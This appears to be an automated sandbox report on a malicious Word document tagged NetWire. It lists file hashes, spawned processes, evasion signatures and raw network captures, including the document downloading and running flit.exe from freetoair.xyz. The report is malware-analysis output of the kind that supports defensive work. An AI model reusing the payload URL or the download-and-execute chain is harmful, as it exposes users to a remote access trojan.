NetWire_4a19fe5ce4fa0fb677fcff63f860d9fa_doc_2019-07-26_17_30.txt

* MalFamily: ""

* MalScore: 10.0

* File Name: "NetWire_4a19fe5ce4fa0fb677fcff63f860d9fa.doc"
* File Size: 122368
* File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Jul 25 16:44:00 2019, Last Saved Time/Date: Thu Jul 25 16:44:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
* SHA256: "7d77ec2be999c315c8bbd23824d293c886092c7a9a2786a416cd1085c570e301"
* MD5: "4a19fe5ce4fa0fb677fcff63f860d9fa"
* SHA1: "98c8f8649feedc7bacc9a2f9ef7b799ed4ffbeb0"
* SHA512: "a88e06ee2535070f275511128a8435d1ffb9d5fb5dde33be2722a6b79577bbcf242a041676dbcfcf21bb4f81e1fbc42004b48e11c6f1b67ad52a24006e0167ca"
* CRC32: "FBA6B55C"
* SSDEEP: "1536:n0PBeWVjjsw/APPPPPPPPP8ZaLdScXjjHXpPrmoItxbWScLBum+OOs:0eWVjjswlZaLdScXjjHXRItxbW90JOO"

* Process Execution:
    "WINWORD.EXE",
    "tzoujwjgi.exe",
    "flit.exe"


* Executed Commands:
    "\"C:\\Users\\user\\AppData\\Local\\Temp\\tzoujwjgi.exe\"",
    "C:\\Users\\user\\AppData\\Roaming\\flit\\flit.exe "


* Signatures Detected:

        "Description": "A process attempted to delay the analysis task.",
        "Details":

                "Process": "WINWORD.EXE tried to sleep 275 seconds, actually delayed analysis time by 0 seconds"




        "Description": "Attempts to connect to a dead IP:Port (10 unique times)",
        "Details":

                "IP": "52.109.20.4:443"


                "IP": "23.63.59.41:443"


                "IP": "65.52.98.231:443"


                "IP": "23.60.72.96:443"


                "IP": "129.226.56.130:80"


                "IP": "52.109.2.14:443"


                "IP": "184.28.188.193:80"


                "IP": "72.21.91.29:80"


                "IP": "184.28.188.192:80"


                "IP": "104.18.25.243:80"




        "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
        "Details":

                "ioc": "ieee2006officeonline.xsl"


                "ioc": "ontent.inf"


                "ioc": "e.gu"


                "ioc": "chevronaccent.glox"


                "ioc": "turabian.xsl"


                "ioc": "sist02.xsl"


                "ioc": "nline.xsl"


                "ioc": "ist.glox"


                "ioc": "gosttitle.xsl"


                "ioc": "mlaseventheditionofficeonline.xsl"


                "ioc": "iso690.xsl"


                "ioc": "rame.glox"


                "ioc": "gostname.xsl"


                "ioc": "architecture.glox"


                "ioc": "rocess.glox"


                "ioc": "quations.dotx"


                "ioc": "adial.glox"


                "ioc": "ext.glox"


                "ioc": "chicago.xsl"


                "ioc": "harvardanglia2008officeonline.xsl"


                "ioc": "iso690nmerical.xsl"


                "ioc": "rings.glox"


                "ioc": "ccent.glox"


                "ioc": "rc.glox"


                "ioc": "gb.xsl"


                "ioc": "content.inf"


                "ioc": "ype.thmx"


                "ioc": "anded.thmx"


                "ioc": "rid.glox"


                "ioc": "..3b"


                "ioc": "set.dotx"


                "ioc": "pictureorgchart.glox"


                "ioc": "ividend.thmx"


                "ioc": "asis.thmx"


                "ioc": "adge.thmx"


                "ioc": "rop.thmx"


                "ioc": "iew.thmx"


                "ioc": "erlin.thmx"


                "ioc": "rame.thmx"


                "ioc": "arallax.thmx"


                "ioc": "avon.thmx"


                "ioc": "eadlines.thmx"


                "ioc": "etropolitan.thmx"


                "ioc": "eathered.thmx"


                "ioc": "roplet.thmx"


                "ioc": "uotable.thmx"


                "ioc": "amask.thmx"


                "ioc": "ircuit.thmx"


                "ioc": "g.n9"


                "ioc": "rail.thmx"


                "ioc": "late.thmx"


                "ioc": "vent.thmx"


                "ioc": "esh.thmx"




        "Description": "A process created a hidden window",
        "Details":

                "Process": "flit.exe -> "




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"


                "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"


                "url": "http://freetoair.xyz/flit.exe"




        "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
        "Details":

                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01;.\\xffm\\xa2\\x0e)\\xd2`k6\\xc5\\xda\\xd2\\x07\\xa5&(l\\x08\\x05\\xe5\\xdd\\x9a\\xed\\xe8\\:\\xda\\xea\\x8a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xae\\xa3v\\x98\\x98e\\xf8\\xa2\\xaad\\xa8c\\x92|\\xec\\xfc)py\\x94c\\xcc\\xe8\\x93\\xbb<\\xcf\\x8f/\\x8f\\xc96\\xc1m\\x0c!%\\xfa\\x98\\xc7\\xf7\\xa4\\xde\\xe8\\xe7\\x14\\xce\\xa4\"\\x19\\xd1\\xa5\\xac\\xe2\\xa0\\x9c\\x7fz\\xd7'<\\xb2e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000w\\xe5\\x1d\\xc7\\x17\\xf5\\x17ybg\\xaa\\xc8\\xf1o\\x00x\\x0f+8\\xcb\\x13<\\xcc\\x93z\\xa7\\x8a$\\xcftp\\x1e\\xb7.\\xf4\\xe5\\x95\\x18\\xd7\\xd7\\xc0\\x9b<w\\xd5s\\xd2"


                "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01;.\\xff\\xd2m\\xda\\x86hq\\xc4\\xc9j*d\\x8b\\xcc\\xa7m\\xf6\\x8c\\xe1\\xf2\\xdf\\x9ei@\\x1f>\\x86ww\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa4a\\xc3\\x8a\\xafv\\x01\\xb7@<\\xa9\\x18\\xec\\xc2\\xecxa\\x80\\x14dwj\\xe3\\x00\"\\xefx\\xfc\\x06\\xebb\\x9e\\x16\\x0c%\\xca\\xb7\\x8c\\xc4s\\xa8\\xec\\xdc\\xcbu\\x03\\xe0\\xed\\x1dg\\xdc\\x8e\\x85\\x0b\\xf8\\x03\\xd5\\x92>x6\\x07\\xa3\\x9c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\xef\\xd87\\x13\\xfd\\x870\\x0c\\x8b\\xbcb\\x15:\\xfc\\xab\\xcct\\xbcx\\xa8d\\xcc5#l\\x0cg\\xf4\\x96\\xb4\\xd1\\xe1\\x8a\\xd0w\\xd2\\x08\\xa6\\x0f\\xd9g\\x00l\\xa4*\\xba"


                "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pec\\x95:\\xd1\t:\\xa5e\\x02\\xaa\\x94\\xc4\\xef\\x9e\\x99\\xaf\\x0f\n\\xd9$\\xb8\\xad@\\x92\\x88\\xcc`\\xb9o*\\xc9\\xbc\\xf3\\xd0\\x9f\\x8eym\\xe8\\x840\\x0c\\x97\\xbf\\x1b\\x89\\x01=u>mno\\xb1z\\xa9\\xfck\\xb6\\x89\\x82ze\\x18\\xf52c/\\xd4i\\xa57\\x0b\\xceqc`\\xb0g\\xfadx\\x91\\x07\\xe7:\\xecv=0\\xfa@\\x1b\\xb9\\-)\\xa25\\xae^e\\x93\\xe6/\\x06\\xf6\\x1f\\x15)\\xd1\\xf5\\xad\t\\x99\\x81\\x01i\\x8f\\x99a\\xd9\\xba^1,v\\xde\\x06\\xbbx'|\\xd3ud\\x0f+\\xec\\x8a$\\xa8\\xe7\\x89h\\xc8\\xc0\\x96;\\xfd?r#\\xb7o\\xfa\\xd5\\xd6~d\\xeb\\xfc~\\xe5\\xd33\\xce\\x85\\xcag\\xa2\\xf7\\xf0\\xf2\\xdc\\xd7\\xa6\\xebil8-\\x7f\\x88\\xf1\\xee\\xe4\\xa6\\xe4o\\x97\\x03\\xcfv\\xf6\\xb9\\x95&\\x8b6!\\xc9e\\xd8\\xb6b\\x85\\x94kim\\x03\\x0f\\x99\\x90\\xbc\\x05\\x13>u\\xd1\\x8f\\x01\\xfe\\xe0<\\xe8&\\xb8s\\xfc\\x8d\\xee\\xe1jy\\xc9\\xef\\xf3\\x01\\xbb\\xb6);x\\xf7@"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xc0\\x80)\\x9a\\x11m\\xa1\\xf8\\x04c\\xdb1\\xc8w\\xcd\t\\xfa\\xfc\\xa1i*x\\x1b*\\x97vt\\xa8\\x1c\\x92\\xbcsd\\xff\t\\xf7z4\\xc6\\x8a:d\\x94\\xa3\\xa3\\xfb\\xd0\\xba\\x8e\\x83\\xda34|\"k\\x15\\xd0?\\x14\\x83\\x11\\xf0\\xb4\\xedag1\\xea\\xf7a\\x8f\\x99`\\xfa\\xd7\\xdc\\xa6h\\xcdk\\xfc\\x1fx@\\x9a\\xd2w\\xda\\x87\\x87\\x90\\xd6\\xb6v\\xef\\xc1\\xc3\\xf8\\x83\\xb3\\x9f\\x00\\x12\\xa4w*\\xac\\xed\\xb5\\x06\\xf5\\xd5\\x9d<|\\x0e;no2\\x8e\n\\xed\\x92\\x9f\\xf5\\x8f\\xd2\\x18\\xed7\\x8b\\xa6\\xa7-\\x0erl\\xefb\\xd1z0\\x99\\xa8q\\x8bhx\\xfe\\x15ab`\\x90ialj\\xd6\\x83j\\xe1\\x88\\xcac\\x02+\\xab\\xf3\\xb6vn\\xaa\\xb46.vf\\xdd\\xc7\\xf5\\xad\\x97!\\xb3\\x9c_\\x05\\x07\\xf9\\xc0\\x80\\xdd+\\xd4\n\\xbeu\\xca\\xd4\\xef\\\\xc3\\xc6\\x8cb\\xac\"\\x0e\\x94\\x82\\x84\\x14\\xd9\\xec\\xdf=\\xf6@\\x06\\xa8\\xc5#\\xb9h\\xf9\\x9b\\xe6\\x1cp\\xcc\\xa2\\x97.t\\x9c\\x91\\x86skj\\xb1e\\xac\ts"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 !q\\xe6o\\xe8,\\xb2\\xc6\\x92j\\xb3\\\\x8e\\xc9\\x13t\\x0fh++\\x17\\x95\\xb0\n\\xa0\r\\x17=n\\xdb\\xa5\\xd5\\xb7\\xb6/\\xf9\\xb5\\x0e\\xf9\\xab$\\xff\\xcd \\xaa\\xf7z\\xb3;y4\\xc53fs\\x89r\\xc5ta!\\xbd<\\xf4\\xf8z\\x18\\xe6v\\x85\\xfb0\\xf2\\xe6\\xfd\\x97\\xbf \\xb4\\xeeo\\x9d/\\x9b\\xc8ig\\xcbu\\xe9\\xd8\\xff\\xf2~\\xcb\\xe0\\xec\\xed5\\x01$tj\\o\\x16y\\xb3t&\\xa8\\xe5\\x7f\\xf6 \\xfa\\x96\\x130qj\\xdc\\xd6\\x80\\x99\\xacj\\xa9\\xaa,~\\xe4\\xf7\\x90:b?\\xc1q\\xc0\\xf9\\x0e\\xf7%\\x8b\\x99)\\x8a\\x8c;\\xfe\\xf9\\xda+,\\xa3\\x88e\\xcca8\\x9e\\xa4\\xb5j\\xf5\\x92\\x8cu\\x8e\\xee\\xb2s\\xf1w6z\\x9a\\x10of\\x12\\x95\\x0fz\\xb9ufe\\xb4k9\\x9a\r\\xc6\\xcb\\x14i\\xd6x\\xe1\\xae\\xe5\\xf1\\xca\\xc8\\x90\\x08%\r\\xae\\xc1'\\xb1\\xd6l\\xb7a\\xa9\\x82\\xafx\\x80>\n\\xa4\\x87\\xc6\\xb5\\xd8\\xcc\\x8f\r\\xb0`\\x7f\\xbcx7\\x1c\\x1ci\\x00\\x1b\\x1c!\\x1f"


                "http_request": "winword.exe_InternetCrackUrlA_http://freetoair.xyz/flit.exe"


                "http_downloadurl": "winword.exe_URLDownloadToFileW_http://freetoair.xyz/flit.exe"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01;/\t7\\xa9wg\\xd53g\\x81=?\\xcd\\x00z\\x9c\\xacfk\\x82\n\\x7f\\xad\\xbdw_\\xdc*\\x04\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x13\\xc0^\\xb8\\xf9<\\x06\r\\x05\\x82a\n\\xa2\\x18y\\x06p\\x14\\x1b\\xd2\\xae\\x15\\xb4~u\\xdf`\\x82b\\xf1\\x13<wn\\xceser\\x11c\\xfa\\xf5(\\x83u\\xcb7p\\x92\\x1d\\xa6\\xf2^\\xe4\\x1c:\\x00*\\xc7\\x82\\x1az\\x14\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9\\xe0\\xff\\xdfl\\xce\\x9d/\\xb6\\xc8\\xca\\x97\\xda\\x92\\xc4+\\xf7e\\xb0\\xdfh\\xf8\\xb36\\x17\\xd7\\xab\\xe2\\x1c\\xa6\\x88\t1\\xa4\\xe0\\x03\\x8dh\\x07\\x0b\\x0c\\xc2u\\xc9\\x91./\\x85"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa3\\xa8\\x89dzy\\xcd\\xf4`<\\xd1o\\x11\\x86g\\x89t~\\x88&d_\\xf2m\\xd3w\\x15n\\xc45\\x87r\\xc3u\\xb7\\x1a\\x96\\x07\\xb2\\x9c\\xbb\\x10_\\x8bs\\xd8>dr\\x903\\xb2h#u\\xf8t\\xd1\\xdcc\\xc9\\xd2\\x1c\\x03)u\\x17i\\xf5\\xfa\\xfe\\xb9j\\x8b\\xf4-\\xb1\\xceu\\xb2\\x88\\xbe\\xcb\\x81fmt\r\\x92\\xc1x\\x1c\\xb8\\x96\\xc8<\\xf9\\x11`lxw\\xe4\\xe4\\x03\\xaaej\\xcb|\\xbf\\xaf\\x8d\\x9e\\xb8\\x80\\x15\\xc2\\\\x07\\x82d*\\xfe_\\x8d\\x86vq\\x86\\x83\\xb9\\xc2n\\xb4fn\\xdds\\x9f~d\\xb9\\xa3\\xe8\\x99\\x92\\x1a\\x99\\xad\\x82\\xdd\\x98\\xd4\\x98\\x02\\xce\\xe1s'/ \\xb5n\\xea\\x19\\xe7\\x1d\\xe2u\\x13\\xd4\\xa0\\x02\\x87?\\xd3\\x99\\xe00\\x84-\\xf3\\xb1\t\\xbf\\:\\xce\\x83\\xa8\\x0c\\x93\\xd3\\x16.\\xa0\\xc4\\xb1\\x01\\xb8\\xdb\\xa6m\\xc7\\x9f\\x7fl\\xb3xpb\\xb2j~;\\xd7\\x88\\x991\\xc3\\xd5\\xfeyt,v\\x03\\xa5\\x1a\\xa8(\\xa9\\xd4u=\\x19\\xc0\\xc4yn\\xa7\\x1e!b\\xdd"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n>\\x1d=qm\\xc4\\x9d\\xcc\\xa7\\xa2\\x04\\x90\\x02zk\\x83\\x1fy\\x86\\xc9\\xa3z\\xd7\\x97-\r\\xc8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x91\\xe01\\x19@x(<z\\xe4\\xdd\\xcb\\xab\\x8b\\xc8\\xe5ufz\\x8d\\x97\\xad\\xc2<?\\x95\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xbe\\xbc\\xf3s*\\x06\\xacq\\x97\\xe6o\\x9f\\xf3n\\xb7\\x99?lw\\x16k\\x9cm\\xd8%25\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xcd\\x15\\xdf\\xe8)\\x03\\xa1\\xb7\\x88`\\xad\\x9a\\x8chy\\x18b\\x8c\\xa0\\xb5\\xd0\\xdb$z\\xda,p\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n_\\x04\\xfb\rda\\xca\\xbf\\xd8v\\x9cbz\\x9a\\x10 \\xf0@\\xe7\\xfa\\xe1\\x19\\xc8>p\\xb4\\x1bx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x0b\t\\xd5\\xc8\\xbc~\\x87\\xe4\\xce\\x1d\\xea\\xdc\\xb1\\xc0\\xe1\\x8a\\xd9\\x93\\xab\\x95>\\xe3|\\xfa\\xb6\\x89\\x92\\x13\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xdfb\r\\xf4\\x93\\x82v>w\\xbd\\xf7-\\x13gow\\x9b\\xac&\\x97\\xcc\\x08\\x9f\\xcbs\\x0b\\xd5!\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\x90\\xc9\\x98x\\xc5\\xe1e\\x82^\\xcb\\xec\r\\xd0\\xa5\n\\x91\\xd1\\xb1\\x0c&\\xbf\\xc5\\x13v\\x9ad\\xf5\\xf2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xef\\xad\\x1bt\\x1b\\xb9\\x87w~<\\x14\\x9a\\x92\\xd1.\\xb2o\\xee?;\\xee\\xb0l\\x8etsg,\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xd9\\x03h\\x9f\\xdca\\x97(\\x17\\xf7\\xb5\\xb0\\x8a4,\\x11\\xb2\\x1d\\xc0\\x87\\xff\\x9dp\\xf1_\\x1a\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xad\\xea\\xfei8k\\x05\\x0e\\xed\\\\x02\\x9d.s2\\xfbl@\\xb2\\x99m-\r\\xe5\\x8fg\r\\x9b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xe5\\xe5\\x81\\x01f\\xf8|lx\\xf02\\xe0>j\\xfe\\xab\\xa1\\xadpa\r(\\xf6\\xb0,t\\xc8\\x81\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\ntr\\x10\\xa1\\xdb\\xd5\\xdd\\xf3\\xb774\\xfe\\xb4>\\xad\\xd9\\xa2f\\xd2\\x9f\\xbc\\x86\\xb0\\xa5!\\x19\"6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xae\\x0f~\t\\x01e\\xd6\\xa1\\xd8:\\xaf\\x80\\xb3\\xe5\\>%\\xab\\xd4\\x92~\\x04c\\xcb\\xa2\\xd2\\xd0\\xe4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xab\\xc9\\x1d\\xec\\xaf\\xe0\\x17\\xe9o\\x1cz\\xbc=\\x13\\xc6\\xe0\\xe6\\xce?\\x96\\xe7\\xb3\\x9c\ne\\x01xj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01;/\n\\xd5\\x0b\\xa1c\\xe4\\x00j\\x93\\xe0@\\xf4\\xe4,l\\x10\\xd1\\xb0\\xdb\\x00\\xb8if\nn'\\x12\\xfe\\xba\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


